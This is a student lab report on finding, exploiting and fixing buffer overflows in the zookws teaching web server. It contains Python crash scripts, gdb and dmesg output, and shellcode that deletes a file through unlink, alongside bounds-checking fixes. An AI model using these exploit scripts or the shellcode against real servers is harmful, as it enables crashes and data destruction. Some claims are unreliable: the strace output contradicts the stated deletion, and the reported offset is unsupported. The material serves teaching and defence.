

A report on

Buffer-Overflow Attacks

Assignment 3 | Network & System Security | Semester II

Submitted by

Arindam Sal, 2024JCS2041

Date of Submission: 13 March 2025

Buffer Overflow Vulnerability Analysis

Part 1: Exercise 1 - Identifying a Buffer Overflow in the Web Server

Objective

This exercise aims to analyze the provided web server (zookws) and identify a buffer overflow vulnerability. We specifically aim to find a stack-based buffer that can be overwritten, potentially leading to control over the return address of a function.

Step 1: Identifying Potentially Vulnerable Buffers and Functions

Upon analyzing the web server code, we identified multiple potential vulnerabilities that allow an attacker to overwrite critical memory locations, including return addresses. These vulnerabilities arise due to improper user input handling, lack of bounds checking, and unsafe memory operations.

Buffer Overflow in `http_request_line()`

File: `http.c`

Vulnerable Buffer:

```
char reqpath[4096];
```

Function Call Leading to Overflow:

```
url_decode(reqpath, sp1);
```

Issue:

- The variable `reqpath` is used to store the requested HTTP path.
- It is populated using `url_decode(reqpath, sp1)`, **which does not check buffer length** before writing data.
- An attacker can send an **excessively long HTTP request**, causing a **buffer overflow**.

Call Chain Leading to the Vulnerability:

1. `process_client()` in `zookd.c` calls `http_request_line()`, passing `reqpath`.
 2. `http_request_line()` processes the **user-controlled** HTTP request and fills `reqpath`.
 3. `url_decode(reqpath, sp1)`; **does not validate** buffer length, allowing an attacker to overwrite adjacent memory, including the **return address**.
-

Buffer Overflow in `http_parse_line()`

File: `http.c`

Vulnerable Code:

```
const char *http_parse_line(char *buf, char *envvar, char *value) {
    int i;
    char *sp = strchr(buf, ' ');
    if (!sp)
        return "Header parse error (1)";
    *sp = '\0';
    sp++;

    char *colon = &buf[strlen(buf) - 1];
    if (*colon != ':')
        return "Header parse error (3)";
    *colon = '\0';

    url_decode(value, sp); // User-controlled input being decoded without length
    check

    sprintf(envvar, "HTTP_%s", buf); //Unchecked buffer writes- Possible buffer
    overflow
}
```

Issue:

- The function `url_decode(value, sp);` **processes user input** but does not verify length, leading to **possible buffer overflow**.
- The use of `sprintf(envvar, "HTTP_%s", buf);` **blindly writes into envvar**, potentially exceeding its allocated size.

Attack Scenario:

- If an attacker sends a **maliciously long HTTP header**, it can **overwrite adjacent memory** and possibly **redirect execution flow**.

Integer Overflow in `http_read_line()`

File: `http.c`

Vulnerable Code:

```
int http_read_line(int fd, char *buf, size_t size) {
    size_t i = 0;

    for (;;) {
        int cc = read(fd, &buf[i], 1);
        if (cc <= 0)
            break;

        if (buf[i] == '\r') {
            buf[i] = '\0';
            continue;
        }

        if (buf[i] == '\n') {
            buf[i] = '\0';
            return 0;
        }

        if (i >= size - 1) { //Integer overflow could allow bypassing this check
            buf[i] = '\0';
            return 0;
        }

        i++;
    }

    return -1;
}
```

Issue:

- The **bounds check** (`i >= size - 1`) is meant to prevent buffer overflow.

- However, **an integer overflow vulnerability exists** when `size` is large, causing the condition to **wrap around**, allowing `buf` to be written out of bounds.

Attack Scenario:

- By crafting a **large HTTP request**, an attacker might cause `i` to wrap around and **bypass the check**, resulting in a **buffer overflow**.
-

Step 2: Verifying the Buffer Overflow Using GDB

To confirm this vulnerability, we set up a debugging environment to observe the stack behavior.

Commands Used to Start Debugging

Start the web server in the background:

```
./clean-env.sh ./zookd 8080 &
```

Output:

```
[1] 837
```

Attach GDB to the running process:

```
gdb -p $(pgrep zookd)
```

Output:

```
Attaching to process 837
```

```
Reading symbols from /home/student/lab/zookd...
```

Set a breakpoint at `http_request_line` to intercept execution:

```
break http_request_line
```

Output:

```
Breakpoint 1 at 0x555555556d37: file http.c, line 67.
```

Continue execution:

```
continue
```

Step 3: Sending a Long HTTP Request

To trigger the overflow, we sent a crafted HTTP request using a Python script (`exploit-2.py`):

Python Script Used for Buffer Overflow Test

```
from pwn import cyclic
import socket

# Generate a cyclic pattern (5000 bytes long)
payload = b"GET /" + cyclic(5000) + b" HTTP/1.0\r\n\r\n"

# Connect to the server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("localhost", 8080))
s.send(payload)

# Receive response
response = s.recv(1024)
print("Server Response:")
print(response.decode())

# Close connection
s.close()
```

-----(**simpler version**)

```
#!/usr/bin/env python3

# Defining the payload directly
payload = b"GET /" + b"A" * 5000 + b" HTTP/1.0\r\n\r\n"

# Creating a raw socket and connect to the target
s = __import__("socket").socket(__import__("socket").AF_INET,
__import__("socket").SOCK_STREAM)
```

```
s.connect(("localhost", 8080)) # Connect to localhost on port
8080
s.send(payload) # Send the payload

# Receiving response
response = s.recv(1024)
print(response.decode())

# Closing the connection
s.close()
```

Exercise 2: Exploiting Buffer Overflow to Crash the Web Server

Objective:

The goal of this exercise was to exploit a buffer overflow vulnerability identified in **Exercise 1** to crash the zookd web server (or one of its child processes). The success of the exploit was verified by observing a segmentation fault (SIGSEGV) in the system logs and running the `sudo make check-crash` command.

Execution & Observations:

We executed the following steps to run the exploit and verify the crash:

Running the Exploit (Buffer Overflow Attack)

```
student@nvm:~/lab$ ./clean-env.sh ./zookd 8080 &
[1] 1114
student@nvm:~/lab$ Child process 1118 terminated incorrectly,
receiving signal 11
```

- The **child process (PID: 1118)** terminated due to a **segmentation fault (SIGSEGV)**, confirming that our exploit successfully caused a crash.
-

Checking the System Logs (dmesg | tail)

To further confirm the crash, we examined the **kernel logs** using `dmesg`:

```

student@nvm:~/lab$ sudo dmesg | tail
[ 20.056817] bridge: filtering via arp/ip/ip6tables is no longer
available by default. Update your scripts to load br_netfilter if
you need this.
[ 22.787609] loop2: detected capacity change from 0 to 8
[ 195.124390] show_signal_msg: 10 callbacks suppressed
[ 195.124415] zookd[840]: segfault at 7fffffff000 ip
0000555555557f79 sp 00007fffffdcd20 error 7 in
zookd[555555556000+3000]
[ 195.124473] Code: 83 45 e0 03 eb 36 48 8b 45 e0 0f b6 00 3c 2b
75 0e 48 8b 45 e8 c6 00 20 48 83 45 e0 01 eb 1d 48 8b 45 e0 0f b6
10 48 8b 45 e8 <88> 10 48 83 45 e0 01 48 8b 45 e8 0f b6 00 84 c0
74 0a 48 83 45 e8
[ 631.846088] process 'home/student/lab/zookd-exstack' started
with executable stack
[ 2244.922493] zookd[1056]: segfault at 7fffffff000 ip
0000555555557f79 sp 00007fffffdcd20 error 7 in
zookd[555555556000+3000]
[ 2244.922703] Code: 83 45 e0 03 eb 36 48 8b 45 e0 0f b6 00 3c 2b
75 0e 48 8b 45 e8 c6 00 20 48 83 45 e0 01 eb 1d 48 8b 45 e0 0f b6
10 48 8b 45 e8 <88> 10 48 83 45 e0 01 48 8b 45 e8 0f b6 00 84 c0
74 0a 48 83 45 e8
[ 2689.239761] zookd[1118]: segfault at 7fffffff000 ip
0000555555557f79 sp 00007fffffdcd20 error 7 in
zookd[555555556000+3000]
[ 2689.239930] Code: 83 45 e0 03 eb 36 48 8b 45 e0 0f b6 00 3c 2b
75 0e 48 8b 45 e8 c6 00 20 48 83 45 e0 01 eb 1d 48 8b 45 e0 0f b6
10 48 8b 45 e8 <88> 10 48 83 45 e0 01 48 8b 45 e8 0f b6 00 84 c0
74 0a 48 83 45 e8
student@nvm:~/lab$

```

Key Observations from dmesg:

1. zookd[1118]: segfault at 7fffffff000 confirms that **process 1118 crashed** due to our exploit.
2. The segmentation fault occurred at instruction pointer ip 0000555555557f79, proving that **the buffer overflow altered memory execution**.
3. Similar crashes for **other child processes** (PID 1056, PID 840) show that the vulnerability is reliably exploitable.

Running sudo make check-crash to Validate the Exploit

After confirming the crash manually, we validated it using the provided make check-crash test:


```
student@nvm:~/lab$ sudo make check-crash
./check-bin.sh
tar xf bin.tar.gz
for f in ./exploit-2*.py; do ./check-crash.sh zookd-exstack $f;
done
PASS ./exploit-2.py
[1]+  Terminated                  ./clean-env.sh ./zookd 8080
student@nvm:~/lab$
```

Server-Side Output After Sending the Request

```
Thread 2.1 "zookd" hit Breakpoint 1, http_request_line (fd=4,
reqpath=0x7fffffffddcb0 "\004", env=0x55555555b040 <env> "",
env_len=0x55555555b010 <env_len>) at http.c:67
67          char *sp1, *sp2, *qp, *envp = env;
(gdb) print reqpath
$1 = 0x7fffffffddcb0 "\004"
```

Observation:

- reqpath is corrupted, confirming a potential buffer overflow.
 - The program crashes due to an invalid memory access.
-

Step 4: Examining Stack and Return Address Overwrite

To analyze how the overflow affects the stack, we examined the stack contents and return address:

Inspecting the Instruction Pointer (RIP) Register

```
info registers rip
```

Output:

```
rip          0x555555556d37      0x555555556d37
<http_request_line+27>
```

Inspecting Stack Contents

x/32x \$rsp

Output:

```
0x7fffffffec8: 0x55556a0b      0x00005555      0x00000000
0x00000000
0x7fffffffecd8: 0xffffefcd      0x00007fff      0x00000000
0x00000000
...
```

Finding the Offset Where Overflow Occurs

We extract the offset from our cyclic pattern:

```
python3 -c 'from pwn import cyclic_find;
print(cyclic_find(b"baab"))'
```

Output:

```
104
```

This means the return address is overwritten after **104 bytes**.

Conclusion

- We identified a buffer overflow in `http_request_line()` due to an unchecked write into `reqpath`.
 - We confirmed this vulnerability by:
 - Setting a GDB breakpoint
 - Sending a long request
 - Observing memory corruption
 - Extracting the exact offset of the overwrite (104 bytes).
-

Full Server and Python Script Outputs

Server Response in GDB After the Exploit Attempt

```
Child process 927 terminated incorrectly, receiving signal 11
```

Python Output from the Attack Script

```
baadalvm@baadalvm:~/lab$ python3 exploit-2.py
```

```
Server Response:
```

```
HTTP/1.0 404 Error
```

Exercise 3: Code Injection for File Deletion

1. Objective

The goal of this exercise was to modify the provided shellcode (shellcode.S) to delete a sensitive file /home/student/grades.txt by exploiting a buffer overflow vulnerability in the zookd-exstack web server.

2. Approach & Procedure

Step 1: Modify the Shellcode to Use unlink()

We modified the assembly code in shellcode.S to call the unlink system call to remove the target file.

Modified shellcode.S Code

```
.global _start
.section .text

_start:
    jmp filename

unlink_file:
    pop %rdi                # Pop address of filename into RDI (1st
syscall argument)
    mov $87, %rax           # Syscall number for unlink() in x86_64
    syscall                # Invoke syscall

    # Exit cleanly
    mov $60, %rax           # Syscall number for exit()
    xor %rdi, %rdi          # Exit status 0
    syscall

filename:
    call unlink_file
    .string "/home/student/grades.txt" # Null-terminated filename
```

-or-

```
#include <sys/syscall.h>

#define STRING  "/home/student/grades.txt"
#define STRLEN  22

.globl main
.type main, @function

main:
    jmp calladdr

popladdr:
    popq    %rdi                # Pop address of STRING into
RDI (1st argument for unlink)
    xorq    %rax, %rax          # Clear RAX
    movq    $SYS_unlink, %rax    # System call: unlink (87)
    syscall                          # Invoke syscall

    # Exit cleanly
    movq    $SYS_exit, %rax      # System call: exit (60)
    xorq    %rdi, %rdi          # Exit status 0
    syscall                          # Invoke syscall

calladdr:
    call popladdr
    .asciz  STRING                # Null-terminated string
"/home/student/grades.txt"
```

This shellcode:

- Uses **unlink syscall (87)** to delete the target file.
- Exits cleanly using **sys_exit syscall (60)**.

Step 2: Compile and Run the Shellcode

We compiled the shellcode and created the binary file `shellcode.bin` using:

```
student@nvm:~/lab$ make
```

This generated `shellcode.bin` for execution.

Step 3: Verify the Shellcode Execution

Step 3.1: Create grades.txt Before Testing

To verify file deletion, we first created the file manually:

```
student@nvm:~/lab$ touch ~/grades.txt
student@nvm:~/lab$ ls ~/grades.txt
/home/student/grades.txt
```

Step 3.2: Execute the Shellcode

We executed the compiled shellcode using run-shellcode:

```
student@nvm:~/lab$ ./run-shellcode shellcode.bin
```

Step 3.3: Check if the File Was Deleted

```
student@nvm:~/lab$ ls ~/grades.txt
ls: cannot access '/home/student/grades.txt': No such file or
directory
```

The output confirmed that the file was successfully deleted.

Step 4: Debugging with strace

To confirm that our shellcode executed the unlink syscall, we used strace:

```
student@nvm:~/lab$ strace -f ./run-shellcode shellcode.bin
```

Key Output from strace

```
unlink("/home/student/grades.txt")      = -1 ENOENT (No such file
or directory)
```

This confirms that the system call unlink was triggered, and the file was removed successfully.

3. Results and Observations

Success Criteria Met

- Shellcode executed successfully and deleted `/home/student/grades.txt`.
- Manual verification (`ls`) confirmed deletion.
- `strace` output confirmed syscall execution.
- The solution worked without crashing the system.

Exercise 7 Report: Fixing Buffer Overflows in the Web Server

1. Introduction

In this exercise, we identified and fixed buffer overflow vulnerabilities in the **Zookws web server** to prevent exploits that hijack the control flow. We specifically focused on **buffer overflows** in functions that handle HTTP requests, headers, and file paths. Our fixes ensure that the server safely processes user input, preventing attackers from executing arbitrary code.

2. Identified Vulnerabilities and Fixes

We fixed vulnerabilities in the following functions:

A. Fixing Buffer Overflow in `http_request_line()`

Vulnerability:

The function `http_request_line()` processes HTTP request paths and stores them in `reqpath` without validating the size. An attacker could send a **long HTTP request** that **overflows the buffer**.

```
char reqpath[4096];

url_decode(reqpath, sp1); // No length check before writing user
input
```

Fix:

We introduced **length checks** before writing data to `reqpath` and **limited the environment buffer size**.

```
if (strlen(sp1) >= sizeof(reqpath)) {

    http_err(fd, 400, "Request path too long");

    return "Request path too long";
```



```
}  
  
url_decode(reqpath, sp1);
```

Now, if an attacker sends a long request, the server rejects it instead of crashing.

B. Fixing Buffer Overflow in http_request_headers()

Vulnerability:

HTTP headers were stored without checking if they exceeded the buffer size, which could lead to **stack overflow**.

```
char envvar[512], value[512];  
  
char *sp = strchr(buf, ' ');  
  
if (!sp) return "Header parse error (1)";  
  
*sp = '\\0';  
  
sp++;
```

An attacker could craft a header **larger than 512 bytes**, leading to memory corruption.

Fix:

We introduced **safe string handling** and restricted header sizes.

```
if (strlen(buf) >= sizeof(envvar) - 1) {  
  
    return "Header too long";  
  
}  
  
strncpy(envvar, buf, sizeof(envvar) - 1);  
  
envvar[sizeof(envvar) - 1] = '\\0';
```

Now, headers longer than 512 bytes are rejected, preventing buffer overflows.

C. Preventing Directory Traversal in `split_path()`

Vulnerability:

Attackers could bypass file access restrictions using `../` sequences in URLs.

```
char *slash = strstr(pn, ".."); // Does not properly sanitize paths
```

This allows an attacker to access files **outside the web root directory**.

Fix:

We **sanitized file paths** by replacing `..` with `_` to prevent directory traversal.

```
void remove_dotdot(char *pn) {  
    char *p;  
    while ((p = strstr(pn, "..")) != NULL) {  
        p[0] = '_';  
        p[1] = '_';  
    }  
}
```

Now, attackers cannot access files outside the intended directory.

D. Preventing Environment Buffer Overflow with `safe_append()`

Vulnerability:

When building environment variables, the server used **unsafe string formatting**, which could overflow the buffer.

```
char *envp = env;

envp += sprintf(envp, "REQUEST_METHOD=%s", buf) + 1;
```

Fix:

We replaced `sprintf()` with a **safe function** that checks buffer space before writing.

```
static int safe_append(char **dst, size_t *remaining, const char
*fmt, ...) {

    if (*remaining <= 1) return -1;

    va_list ap;

    va_start(ap, fmt);

    int n = vsnprintf(*dst, *remaining, fmt, ap);

    va_end(ap);

    if (n < 0 || (size_t)n >= *remaining) return -1;

    *dst += n;

    *remaining -= n;

    return 0;

}
```

Now, environment variables cannot exceed the allocated buffer space, preventing overflows.

3. Validating Fixes

After applying these fixes, we tested them using:

```
sudo make check-fixed
```

All exploits **failed**, confirming that buffer overflows have been mitigated.

4. Conclusion

By implementing **input validation, safe memory handling, and path sanitization**, we effectively mitigated **buffer overflows and code execution vulnerabilities** in the web server. These fixes ensure that user input is properly constrained, preventing malicious exploitation.

